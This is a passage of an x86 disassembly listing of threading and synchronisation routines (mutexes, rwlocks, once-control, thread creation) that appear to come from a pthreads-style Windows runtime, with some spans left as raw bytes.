; ---------------------------------------------------------------------------


loc_4308C3:				; CODE XREF: ___:004308B2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308E0:				; CODE XREF: ___:004021F3j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_430903
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430903
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430903:				; CODE XREF: ___:004308E7j
					; ___:004308EDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430920:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43093D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43093D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43093D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43093D:				; CODE XREF: ___:00430926j
					; ___:0043092Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430960:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43098A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43098A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43097E
		test	eax, eax
		jnz	short loc_43098A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43097E:				; CODE XREF: ___:00430975j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43098A:				; CODE XREF: ___:00430966j
					; ___:0043096Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309A0	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_4309B6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B6:				; CODE XREF: sub_4309A0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_4309DD
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_4309DD
		cmp	dword ptr [eax], 1
		jnz	short loc_4309DD
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309DD:				; CODE XREF: sub_4309A0+1Ej
					; sub_4309A0+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_430A02
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A02:				; CODE XREF: sub_4309A0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A27
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A6B
; ---------------------------------------------------------------------------


loc_430A27:				; CODE XREF: sub_4309A0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A45
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_430A62
; ---------------------------------------------------------------------------


loc_430A45:				; CODE XREF: sub_4309A0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_430ACF
		push	ebx
		call	sub_401690
		add	esp, 4


loc_430A62:				; CODE XREF: sub_4309A0+A3j
		push	ebp
		call	sub_401690
		add	esp, 4


loc_430A6B:				; CODE XREF: sub_4309A0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_430AC2


loc_430A7B:				; CODE XREF: sub_4309A0+131j
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_5103C0
		mov	[esi+1Ch], ecx
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_430AA2
		mov	[eax+18h], esi


loc_430AA2:				; CODE XREF: sub_4309A0+FDj
		mov	eax, dword_5103BC
		mov	dword_5103C0, esi
		test	eax, eax
		jnz	short loc_430AB7
		mov	dword_5103BC, esi


loc_430AB7:				; CODE XREF: sub_4309A0+10Fj
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop


loc_430AC2:				; CODE XREF: sub_4309A0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430ACF:				; CODE XREF: sub_4309A0+B7j
		xor	edi, edi
		jmp	short loc_430A7B
sub_4309A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B30	proc near		; CODE XREF: sub_401AA5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_430CDC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430CDC
		cmp	eax, 0FFFFFFFFh
		jz	loc_430C93
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430B89
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430B89:				; CODE XREF: sub_430B30+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_401785
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_430BB0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430BB0:				; CODE XREF: sub_430B30+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_430BE9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430BD2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_430BD2:				; CODE XREF: sub_430B30+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_430C7E
; ---------------------------------------------------------------------------


loc_430BE9:				; CODE XREF: sub_430B30+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401690
		mov	edi, dword_511A70
		add	esp, 4
		test	eax, eax
		jz	short loc_430C0A
		call	edi
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_430C0A:				; CODE XREF: sub_430B30+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401690
		add	esp, 4
		test	eax, eax
		jz	short loc_430C22
		call	edi
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_430C22:				; CODE XREF: sub_430B30+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_430C3C
		push	ebp
		call	sub_402252
		add	esp, 4
		mov	ebx, eax


loc_430C3C:				; CODE XREF: sub_430B30+FFj
		cmp	dword_5103BC, esi
		jnz	short loc_430C4F
		mov	edx, [esi+18h]
		mov	dword_5103BC, edx
		jmp	short loc_430C58
; ---------------------------------------------------------------------------


loc_430C4F:				; CODE XREF: sub_430B30+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_430C58:				; CODE XREF: sub_430B30+11Dj
		cmp	dword_5103C0, esi
		jnz	short loc_430C6B
		mov	edx, [esi+1Ch]
		mov	dword_5103C0, edx
		jmp	short loc_430C74
; ---------------------------------------------------------------------------


loc_430C6B:				; CODE XREF: sub_430B30+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_430C74:				; CODE XREF: sub_430B30+139j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_430C7E:				; CODE XREF: sub_430B30+B4j
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_430CC2
; ---------------------------------------------------------------------------


loc_430C93:				; CODE XREF: sub_430B30+28j
		push	offset dword_510900
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_430CAB
		mov	dword ptr [edi], 0
		jmp	short loc_430CB7
; ---------------------------------------------------------------------------


loc_430CAB:				; CODE XREF: sub_430B30+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_430CB7:				; CODE XREF: sub_430B30+179j
		push	offset dword_510900
		call	near ptr 7C9010EDh
		nop


loc_430CC2:				; CODE XREF: sub_430B30+161j
		test	esi, esi
		jz	short loc_430CCE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CCE:				; CODE XREF: sub_430B30+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_430CE1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CDC:				; CODE XREF: sub_430B30+15j
					; sub_430B30+1Fj
		mov	eax, 16h


loc_430CE1:				; CODE XREF: sub_430B30+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_430B30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D60	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_430D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D90	proc near		; CODE XREF: sub_430D60+Cp
					; sub_431060+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_430E99
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E99
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430DD2
		push	esi
		call	sub_401B63
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_430DD2
		cmp	eax, 10h
		jnz	loc_430E9E


loc_430DD2:				; CODE XREF: sub_430D90+26j
					; sub_430D90+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430DF2
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430DF2:				; CODE XREF: sub_430D90+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430E12
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430E12:				; CODE XREF: sub_430D90+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_430F00
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401663
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_430E99:				; CODE XREF: sub_430D90+13j
					; sub_430D90+1Dj
		mov	eax, 16h


loc_430E9E:				; CODE XREF: sub_430D90+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_430D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430F00:				; DATA XREF: sub_430D90+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430F2B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F2B:				; CODE XREF: ___:00430F21j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_430F3E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_430FA7
; ---------------------------------------------------------------------------


loc_430F3E:				; CODE XREF: ___:00430F34j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_430FA7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430F72
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F72:				; CODE XREF: ___:00430F5Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F9C
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F9C:				; CODE XREF: ___:00430F86j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_430FA7:				; CODE XREF: ___:00430F3Cj
					; ___:00430F4Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_430FC0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FC0:				; CODE XREF: ___:00430FB2j
		cmp	ebx, 1
		jnz	short loc_430FE9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430FE9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FE9:				; CODE XREF: ___:00430FC3j
					; ___:00430FD3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430FFF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_430FFF:				; CODE XREF: ___:00430FF7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431060	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_43106E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43106E:				; CODE XREF: sub_431060+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_431060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310A0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_4310A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310C0	proc near		; CODE XREF: sub_4310A0+7p
					; sub_431220+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_4311C4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4311C4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4310E4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4310E4:				; CODE XREF: sub_4310C0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4311C9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_431134
		test	eax, eax
		jnz	short loc_431112


loc_431105:				; CODE XREF: sub_4310C0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431112:				; CODE XREF: sub_4310C0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_431129
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431129:				; CODE XREF: sub_4310C0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_431193
; ---------------------------------------------------------------------------


loc_431134:				; CODE XREF: sub_4310C0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_431105
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_431160
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431160:				; CODE XREF: sub_4310C0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_431174
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_431174:				; CODE XREF: sub_4310C0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_431189
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431189:				; CODE XREF: sub_4310C0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_431193:				; CODE XREF: sub_4310C0+72j
		dec	eax
		mov	[esi], eax


loc_431196:				; CODE XREF: sub_4310C0+67j
					; sub_4310C0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4311BE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_402068
		add	esp, 8
		test	eax, eax
		jz	short loc_4311BE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_4311BE:				; CODE XREF: sub_4310C0+E3j
					; sub_4310C0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4311C4:				; CODE XREF: sub_4310C0+9j
					; sub_4310C0+13j
		mov	eax, 16h


loc_4311C9:				; CODE XREF: sub_4310C0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4310C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431220	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_431220	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431240	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B27
		mov	esi, eax
		test	esi, esi
		jz	loc_431316
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_431316
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_4312BE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_4312BE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_4312C0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_4312C0
; ---------------------------------------------------------------------------


loc_4312BE:				; CODE XREF: sub_431240+4Dj
					; sub_431240+54j
		xor	edi, edi


loc_4312C0:				; CODE XREF: sub_431240+6Ej
					; sub_431240+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401BA9
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		nop
		call	near ptr 77C3A3DBh
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_431309
		test	ebp, ebp
		jz	short loc_431302
		cmp	dword ptr [ebp+0], 0
		jz	short loc_431302
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch


loc_431302:				; CODE XREF: sub_431240+AAj
					; sub_431240+B0j
		push	edi
		nop
		call	near ptr 2770282h


loc_431309:				; CODE XREF: sub_431240+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_431349


loc_431316:				; CODE XREF: sub_431240+14j
					; sub_431240+30j
		push	esi
		call	sub_4017B7
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43133C
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43133C:				; CODE XREF: sub_431240+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431349:				; CODE XREF: sub_431240+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_431240	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4313B0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4313E7 ; default
		jmp	off_4313EC[ecx*4] ; switch jump


loc_4313C5:				; DATA XREF: ___:off_4313ECo
		call	sub_401712	; jumptable 004313BE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313CD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017BC	; jumptable 004313BE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313D5:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313DD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 0
		call	sub_401627

locret_4313E7:				; CODE XREF: ___:004313BCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4313EC	dd offset loc_4313DD	; DATA XREF: ___:004313BEr
		dd offset loc_4313C5	; jump table for switch	statement
		dd offset loc_4313CD
		dd offset loc_4313D5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431420:				; CODE XREF: ___:004017C1j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h,	4C48377h
		dd 7E89016Ah, 99FE814h,	0C483FFFDh, 0C35E5F04h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431470	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43149B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43149B
		push	eax
		nop
		call	near ptr 276076Bh
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4314A0


loc_43149B:				; CODE XREF: sub_431470+14j
					; sub_431470+1Bj
		mov	esi, 3


loc_4314A0:				; CODE XREF: sub_431470+29j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4314BC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4314BE


loc_4314BC:				; CODE XREF: sub_431470+3Dj
		mov	eax, esi


loc_4314BE:				; CODE XREF: sub_431470+4Aj
		pop	esi
		retn
sub_431470	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: ___:00401654j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_431531
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_431531
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_431511
		lea	eax, [esi+4]
		push	eax
		call	near ptr 27606A9h
		nop
		test	eax, eax
		jnz	short loc_431517
		call	edi
		mov	dword ptr [esi], 1


loc_431511:				; CODE XREF: ___:004314F9j
					; ___:0043151Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431517:				; CODE XREF: ___:00431507j
		cmp	dword ptr [esi], 0
		jnz	short loc_431511
		mov	edi, dword_5118D8


loc_431522:				; CODE XREF: ___:00431529j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_431522
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


